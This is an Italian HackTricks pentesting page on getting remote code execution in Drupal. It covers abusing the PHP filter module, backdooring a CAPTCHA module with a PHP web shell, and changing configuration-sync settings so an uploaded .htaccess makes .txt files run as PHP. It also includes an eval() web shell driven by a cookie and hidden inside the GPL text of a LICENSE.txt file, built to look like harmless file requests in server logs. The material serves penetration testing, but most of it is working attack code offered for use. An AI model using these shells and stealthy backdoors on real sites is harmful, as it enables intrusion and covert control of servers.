Drupal RCE

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Con il Modulo PHP Filter

Nelle versioni precedenti di Drupal (prima della versione 8), era possibile accedere come amministratore e abilitare il modulo PHP filter, che "Consente di valutare codice/frammenti PHP incorporati." Ma dalla versione 8 questo modulo non è installato per impostazione predefinita.

È necessario che il plugin php sia installato (verifica accedendo a /modules/php e se restituisce un 403 allora, esiste, se non trovato, allora il plugin php non è installato)

Vai su Moduli -> (Controlla) PHP Filter -> Salva configurazione

Quindi clicca su Aggiungi contenuto -> Seleziona Pagina di base o Articolo -> Scrivi shellcode php nel corpo -> Seleziona Codice PHP in Formato testo -> Seleziona Anteprima

Infine accedi semplicemente al nodo appena creato:

curl http://drupal-site.local/node/3

Installare il Modulo Filtro PHP

Nelle versioni attuali non è più possibile installare plugin avendo accesso solo al web dopo l'installazione predefinita.

Dalla versione 8 in poi, il modulo Filtro PHP non è più installato per impostazione predefinita. Per sfruttare questa funzionalità, dovremmo installare il modulo noi stessi.

  1. Scaricare la versione più recente del modulo dal sito web di Drupal.

  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  3. Una volta scaricato, andare su Amministrazione > Report > Aggiornamenti disponibili.

  4. Fare clic su Sfoglia, selezionare il file dalla directory in cui lo abbiamo scaricato e poi fare clic su Installa.

  5. Una volta installato il modulo, possiamo fare clic su Contenuto e creare una nuova pagina di base, simile a quanto fatto nell'esempio di Drupal 7. Di nuovo, assicurarsi di selezionare Codice PHP dal menu a discesa Formato testo.

Modulo con Backdoor

Nelle versioni attuali non è più possibile installare plugin avendo accesso solo al web dopo l'installazione predefinita.

Un modulo con backdoor può essere creato aggiungendo una shell a un modulo esistente. I moduli possono essere trovati sul sito drupal.org. Scegliamo un modulo come CAPTCHA. Scorri verso il basso e copia il link per l'archivio tar.gz archivio.

  • Scaricare l'archivio ed estrarne i contenuti.

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Creare una shell web PHP con il contenuto:

<?php
system($_GET["cmd"]);
?>
  • Successivamente, dobbiamo creare un file .htaccess per darci accesso alla cartella. Questo è necessario poiché Drupal nega l'accesso diretto alla cartella /modules.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • La configurazione sopra applicherà le regole per la cartella / quando richiediamo un file in /modules. Copia entrambi questi file nella cartella captcha e crea un archivio.

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Presumendo di avere accesso amministrativo al sito web, fare clic su Gestisci e poi su Estendi nella barra laterale. Successivamente, fare clic sul pulsante + Installa nuovo modulo, e saremo portati alla pagina di installazione, come ad esempio http://sito-drupal.locale/admin/moduli/installa. Navigare nell'archivio Captcha backdoored e fare clic su Installa.

  • Una volta completata l'installazione, navigare a /moduli/captcha/shell.php per eseguire comandi.

Backdooring Drupal con la sincronizzazione della configurazione

Post condiviso da Coiffeur0x90

Parte 1 (attivazione di Media e Media Library)

Nel menu Estendi (/admin/moduli), è possibile attivare ciò che sembrano essere plugin già installati. Di default, i plugin Media e Media Library non sembrano essere attivati, quindi attiviamoli.

Prima dell'attivazione:

Dopo l'attivazione:

Parte 2 (sfruttare la funzionalità Sincronizzazione della configurazione)

Sfrutteremo la funzionalità Sincronizzazione della configurazione per esportare e importare voci di configurazione di Drupal:

  • /admin/config/development/configuration/single/export

  • /admin/config/development/configuration/single/import

Patch system.file.yml

Iniziamo applicando la patch alla prima voce allow_insecure_uploads da:

File: system.file.yml


...

allow_insecure_uploads: false

...

A:

File: system.file.yml


...

allow_insecure_uploads: true

...

Applica la patch al campo field.field.media.document.field_media_document.yml

Successivamente, applica la patch alla seconda voce file_extensions da:

File: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

A:

File: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

Non lo uso in questo post del blog ma è noto che è possibile definire l'ingresso file_directory in modo arbitrario ed è vulnerabile a un attacco di attraversamento del percorso (quindi possiamo tornare indietro all'interno dell'albero del filesystem di Drupal).

Parte 3 (sfruttando la funzionalità Aggiungi documento)

L'ultimo passo è il più semplice, ed è suddiviso in due sotto-passaggi. Il primo consiste nel caricare un file in formato .htaccess per sfruttare le direttive di Apache e consentire ai file .txt di essere interpretati dal motore PHP. Il secondo è caricare un file .txt contenente il nostro payload.

File: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

Perché è figo questo trucco?

Perché una volta che il Webshell (che chiameremo LICENSE.txt) è stato caricato sul server Web, possiamo trasmettere i nostri comandi tramite $_COOKIE e nei log del server Web, questo verrà visualizzato come una richiesta GET legittima a un file di testo.

Perché chiamare il nostro Webshell LICENSE.txt?

Semplicemente perché se prendiamo il seguente file, ad esempio core/LICENSE.txt (che è già presente nel core di Drupal), abbiamo un file di 339 righe e 17,6 KB di dimensioni, perfetto per aggiungere un piccolo snippet di codice PHP in mezzo (dato che il file è abbastanza grande).

File: LICENSE.txt Patchato


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Parte 3.1 (caricamento file .htaccess)

Innanzitutto, sfruttiamo la funzionalità Aggiungi documento (/media/add/document) per caricare il nostro file contenente le direttive Apache (.htaccess).

Parte 3.2 (caricamento file LICENSE.txt)

Successivamente, sfruttiamo nuovamente la funzionalità Aggiungi documento (/media/add/document) per caricare un Webshell nascosto all'interno di un file di licenza.

Parte 4 (interazione con il Webshell)

L'ultima parte consiste nell'interagire con il Webshell.

Come mostrato nello screenshot seguente, se il cookie atteso dal nostro Webshell non è definito, otteniamo il risultato successivo quando consultiamo il file tramite un browser Web.

Quando l'attaccante imposta il cookie, può interagire con il Webshell ed eseguire qualsiasi comando desideri.

E come puoi vedere nei log, sembra che sia stato richiesto solo un file txt.

Grazie per aver dedicato del tempo a leggere questo articolo, spero che ti aiuti a ottenere delle shell.

Last updated